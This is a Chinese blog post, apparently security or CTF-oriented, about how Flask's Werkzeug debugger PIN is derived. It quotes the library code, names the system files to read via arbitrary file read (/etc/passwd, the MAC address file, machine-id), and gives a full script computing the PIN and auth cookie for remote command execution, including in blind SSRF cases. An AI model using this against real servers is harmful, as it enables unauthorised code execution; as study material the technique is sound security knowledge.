894 字
4 分钟
Flask_debug_pin
2025-06-01
无标签

flask web app, 在debug模式开启的时候,会提供一个 /console 页面, 只要输入 pin code 就能相当于拿到一个可以随意执行 Python 命令的pyshell
输入pin前: alt text 输入pin后通过这个pyshell直接就可以执行任意命令: alt text 那么这个 pin code 是从哪来的? 首先, 很显然 flask web app 在启动的时候会在 console 输出这个 pin code alt text 以及如果我们可以做到读取任意文件, 也可以通过读取几个关键值, 计算出这个 pin code
Flask 的这个 /console 页面其实就是个 werkzeug debugger , 他的pin是在werkzeug/debug/__init__.py里的get_pin_and_cookie_name(app)生成的, 我们先直接看看代码:

def get_pin_and_cookie_name(
    app: WSGIApplication,
) -> tuple[str, str] | tuple[None, None]:
    pin = os.environ.get("WERKZEUG_DEBUG_PIN")
    rv = None
    num = None

    if pin == "off":
        return None, None

    if pin is not None and pin.replace("-", "").isdecimal():
        if "-" in pin:
            rv = pin
        else:
            num = pin
    # 上面这段和生成逻辑没啥关系, 不用管

    # 这里获取了 modname
    modname = getattr(app, "__module__", t.cast(object, app).__class__.__module__)
    username: str | None

    # 这里获取了 username
    try:
        username = getpass.getuser()
    except (ImportError, KeyError, OSError):
        username = None

    mod = sys.modules.get(modname)

    # 这里获取了 appname 和 moddir
    # 和前面读取的 modname 和 username 一起构成 public_bits
    probably_public_bits = [
        username,
        modname,
        getattr(app, "__name__", type(app).__name__),
        getattr(mod, "__file__", None),
    ]

    # uuidnode 和 machine_id
    # 这两个玩意构成 private_bits
    private_bits = [str(uuid.getnode()), get_machine_id()]

    # sha1
    # 计算 cookie 名和 pin code
    h = hashlib.sha1()
    for bit in chain(probably_public_bits, private_bits):
        if not bit:
            continue
        if isinstance(bit, str):
            bit = bit.encode()
        h.update(bit)
    h.update(b"cookiesalt")

    cookie_name = f"__wzd{h.hexdigest()[:20]}"

    if num is None:
        h.update(b"pinsalt")
        num = f"{int(h.hexdigest(), 16):09d}"[:9]

    if rv is None:
        for group_size in 5, 4, 3:
            if len(num) % group_size == 0:
                rv = "-".join(
                    num[x : x + group_size].rjust(group_size, "0")
                    for x in range(0, len(num), group_size)
                )
                break
        else:
            rv = num

    return rv, cookie_name
    # 返回的这个rv就是pincode

通过分析代码, 我们可以看到 pin code 的生成其实就取决于这六个值

username    可以通过读 /etc/passwd 猜测
modname     默认 flask.app
appname     默认 Flask
moddir      flask app.py​ 文件所在路径, 通过报错获取
uuidnode    mac地址的十进制,读 /sys/class/net/eth0/address
machine_id  机器码  /etc/machine-id, /proc/sys/kernel/random/boot_id, /proc/self/cgroug

直接上脚本(sha1新版)

import hashlib
import uuid
import time
from itertools import chain

def calculate_werkzeug_pin(username, modname, appname, moddir, mac_address, machine_id):
    probably_public_bits = [
        username,
        modname,
        appname,
        moddir,
    ]
    
    private_bits = [str(mac_address), machine_id]
    
    h = hashlib.sha1()
    for bit in chain(probably_public_bits, private_bits):
        if not bit:
            continue
        if isinstance(bit, str):
            bit = bit.encode('utf-8')
        h.update(bit)
    h.update(b"cookiesalt")
    
    cookie_name = f"__wzd{h.hexdigest()[:20]}"
    
    h.update(b"pinsalt")
    num = f"{int(h.hexdigest(), 16):09d}"[:9]
    
    rv = None
    for group_size in [5, 4, 3]:
        if len(num) % group_size == 0:
            rv = "-".join(
                num[x : x + group_size].rjust(group_size, "0")
                for x in range(0, len(num), group_size)
            )
            break
    else:
        rv = num
    
    cookie_value = str(int(time.time())) + "|" + hashlib.sha1(f"{rv} added salt".encode("utf-8", "replace")).hexdigest()[:12]
    
    return rv, cookie_name, cookie_value

def mac_to_decimal(mac_address):
    return str(int(mac_address.replace(':', ''), 16))

def main():
    print("=== Werkzeug Debugger PIN 计算器 ===\n")
    
    print("请输入以下信息:")
    username = input("用户名 (从 /etc/passwd 获取): ").strip()
    modname = input("模块名 (默认 flask.app): ").strip() or "flask.app"
    appname = input("应用名 (默认 Flask): ").strip() or "Flask"
    moddir = input("flask app.py 文件路径: ").strip()
    mac_input = input("MAC 地址 (格式: aa:bb:cc:dd:ee:ff): ").strip()
    try:
        mac_decimal = mac_to_decimal(mac_input)
        print(f"MAC 十进制: {mac_decimal}")
    except ValueError:
        print("MAC 地址格式错误!")
        return
    
    machine_id = input("Machine ID: ").strip()
    
    pin_code, cookie_name, cookie_value = calculate_werkzeug_pin(
        username, modname, appname, moddir, mac_decimal, machine_id
    )
    
    print(f"\n=== 计算结果 ===")
    print(f"PIN 码: {pin_code}")
    print(f"Cookie: {cookie_name}={cookie_value}")

if __name__ == "__main__":
    main()

通过这个脚本我们就能计算出 pin 以及认证所需要的cookie和cookie值
至于为什么要算cookie, 我们在获得 pin 码之后, 其实是不能直接执行命令的。 整个流程我们实际上要先带上请求 /console 返回的一个 secret 以及 pin code 访问 pinauth 接口获取 cookie, 然后再带上 secret 和 拿到的 cookie 进行命令执行。但在一些无回显 ssrf 的场景下, 我们是无法获取到响应的cookie内容的, 这时候就需要计算cookie才能完成利用

Flask_debug_pin
https://blog.asteriax.site/posts/flask_debug_pin/
作者
ASTERIAX
发布于
2025-06-01
许可协议
CC BY-NC-SA 4.0